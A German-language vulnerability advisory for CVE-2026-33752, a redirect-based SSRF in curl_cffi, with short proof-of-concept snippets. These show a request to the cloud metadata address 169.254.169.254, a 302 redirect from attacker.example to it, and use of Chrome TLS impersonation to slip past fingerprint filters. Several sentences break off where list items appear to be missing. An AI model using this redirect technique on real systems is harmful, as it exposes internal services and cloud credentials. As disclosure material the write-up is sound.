
Demonstriert eine auf Redirects basierende SSRF-Schwachstelle in curl_cffi, die Zugriff auf interne Netzwerke ermöglicht, mit PoC-Code und Analyse der TLS-Impersonation-Umgehung.
CVE-2026-33752 (Redirect-basierte SSRF, die zu internem Netzwerkzugriff in curl_cffi führt)
curl_cffi beschränkt Anfragen nicht auf interne IP-Bereiche und folgt Weiterleitungen automatisch über das zugrunde liegende libcurl.
Aus diesem Grund kann eine vom Angreifer kontrollierte URL Anfragen auf interne Dienste wie Cloud-Metadaten-Endpunkte umleiten. Darüber hinaus kann die TLS-Impersonation-Funktion von curl_cffi diese Anfragen wie legitimen Browser-Traffic erscheinen lassen, was bestimmte Netzwerkkontrollen umgehen kann.
Das Problem ergibt sich aus der Art und Weise, wie curl_cffi ausgehende Anfragen verarbeitet
Das bedeutet, dass selbst wenn eine Anwendung nur Anfragen an externe URLs zulässt, ein Angreifer Folgendes tun kann
Infolgedessen können interne Endpunkte (wie Cloud-Instanz-Metadaten-APIs) aufgerufen werden.
Darüber hinaus unterstützt curl_cffi die Impersonation von TLS-Fingerprints (z. B. impersonate="chrome"). In Umgebungen, in denen ausgehende Anfragen auf der Grundlage von TLS-Fingerprinting gefiltert werden, kann dies solche Anfragen schwerer erkennbar oder blockierbar machen.
Dieses Verhalten ähnelt zuvor gemeldeten Redirect-basierten SSRF-Problemen wie CVE-2025-68616, bei denen Weiterleitungen den Zugriff auf unbeabsichtigte interne Ressourcen ermöglichten.
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
Opfer-Code:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
Ergebnis
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
In einigen Umgebungen kann dies dazu beitragen, dass die Anfrage TLS-basierte Filterkontrollen umgeht.
Ein Angreifer, der die angeforderte URL kontrollieren kann, ist möglicherweise in der Lage: